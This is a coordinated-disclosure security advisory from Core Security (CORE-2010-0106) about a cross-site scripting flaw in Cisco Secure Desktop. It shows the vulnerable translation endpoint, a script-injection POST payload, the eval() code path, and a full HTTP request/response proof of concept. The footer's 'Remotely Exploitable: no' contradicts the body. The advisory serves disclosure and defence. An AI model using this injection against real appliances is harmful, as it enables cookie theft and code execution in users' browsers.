Cisco Secure Desktop XSS/JavaScript Injection

Core Security - CoreLabs


Cisco Secure Desktop XSS/JavaScript Injection

1.
Advisory Information

Title: Cisco Secure Desktop XSS/JavaScript Injection
Advisory Id: CORE-2010-0106
Advisory URL: http://www.coresecurity.com/content/cisco-secure-desktop-xss

Date published: 2010-02-01
Date of last update: 2010-02-01
Vendors contacted: Cisco
Release mode: Coordinated release

2.
Vulnerability Information

Class: Cross site scripting [CWE-79]

Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 37960

CVE Name: CVE-2010-0440

3.
Vulnerability Description

The Cisco Secure Desktop web application does not sufficiently verify if a well-formed request was provided by the user who submitted the POST request, resulting in a cross-site scripting vulnerability.

In order to be able to sucessfully make the attack, the Secure Desktop application on the Cisco Appliance must be turned on.

4.
Vulnerable packages

  • Cisco Secure Desktop 3.4.2048
  • Older versions are probably affected too, but they were not checked.

5.
Non-vulnerable packages

  • Cisco Secure Desktop 3.5.841

6.
Vendor Information, Solutions and Workarounds

Cisco Security Alert: http://tools.cisco.com/security/center/viewAlert.x?alertId=19843

7.
Credits

This vulnerability was discovered and researched by Matias Pablo Brutti from Core Security Technologies.

The publication of this advisory was coordinated by Jorge Lucangeli Obes from Core Security Technologies Advisories Team.

8.
Technical Description / Proof of Concept Code

Cross-site scripting (XSS) vulnerabilities allow an attacker to execute arbitrary scripting code in the context of the user browser (in the vulnerable application's domain). For example, an attacker could exploit an XSS vulnerability to steal user cookies (and then impersonate the legitimate user) or fake a page requesting information to the user (i.e.: credentials). This vulnerability occurs when user-supplied data is displayed without encoding.

The Cisco Secure Desktop web application does not sufficiently verify if a well-formed request was provided by the user who submitted the POST request. The cross-site scripting vulnerability was found in the following file/url:

https://{IP}//+CSCOT+/translation?textdomain=csd&prefix=trans&lang=en-us

Using the POST variable:

Starting, please wait..."><script>alert(1);</script>

The content of the POST field is not being encoded at the time of using them in HTML output, therefore allowing an attacker who controls their content to insert JavaScript code. Furthermore, we could possibly inject JavaScript code into the start.html page because the content of the previously mentioned POST is used in binary/mainv.js as input for an eval() function, hence allowing an attacker to inject any code without restrictions which will be executed in the context of the eval() function:

282            http_request.open('POST', path, false);
283            http_request.send(msgs);
284            var trans = new Array();
285            try {
286                eval(http_request.responseText);
287            } catch (e) {}


8.1.
Proof of Concept

REQUEST:
POST https://{IP}/+CSCOT+/translation?textdomain=csd&prefix=trans&lang=en-us HTTP/1.1 
Host: {IP} 
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0 (.NET CLR 3.5.30729) 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 
Keep-Alive: 300 
Connection: keep-alive 
Referer: https://{IP}/CACHE/sdesktop/install/start.htm 
Content-Type: application/xml; charset=UTF-8 
Cookie: webvpnLang=en-us; webvpnlogin=1
Pragma: no-cache 
Cache-Control: no-cache 
Content-Length: 56

Starting, please wait..."><script>alert(1);</script>

RESPONSE:
HTTP/1.1 200 OK 
Server: Cisco AWARE 2.0 
Content-Type: text/html; charset=UTF-8 
Cache-Control: no-cache 
Pragma: no-cache 
Connection: Keep-Alive 
Date: Mon, 16 Nov 2009 14:14:07 GMT
Content-Length: 122

trans["Starting, please wait...\"><script>alert(1);</script>"] = "Starting, please wait...\"><script>alert(1);</script>";

9.
Report Timeline

  • 2010-01-12:
    Vendor contacted.
  • 2010-01-12:
    Cisco replies, saying that it will investigate the report.
  • 2010-01-12:
    Cisco tentatively acknowledges the February 5th release date.
  • 2010-01-13:
    Core replies, reassuring that the release date can be moved if Cisco can't meet it.
  • 2010-01-13:
    Cisco updates, pointing to a beta version of Cisco Secure Desktop that contains a fix for the vulnerability.
  • 2010-01-13:
    Cisco describes the fix and the non-vulnerable versions of the package.
  • 2010-01-14:
    Cisco confirms the February 5th release date.
  • 2010-01-14:
    Core acknowledges this release date.
  • 2010-01-25:
    Core asks for clarification on the non-vulnerable versions of the package.
  • 2010-01-25:
    Cisco replies with the non-vulnerable version of Cisco Secure Desktop.
  • 2010-01-26:
    Given that the non-vulnerable version of Cisco Secure Desktop has already been released, Core requests to move the release date forward, to February 1st.
  • 2010-01-26:
    Cisco agrees to move the release date forward.
  • 2010-02-01:
    The advisory CORE-2010-0106 is published.

10.
About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs.

11.
About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.

12.
Disclaimer

The contents of this advisory are copyright (c) 2010 Core Security Technologies and (c) 2010 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

13.
PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at /legacy/files/attachments/core_security_advisories.asc.

Locally Exploitable: 
no
Remotely Exploitable: 
no
  • Request Info

Research Blog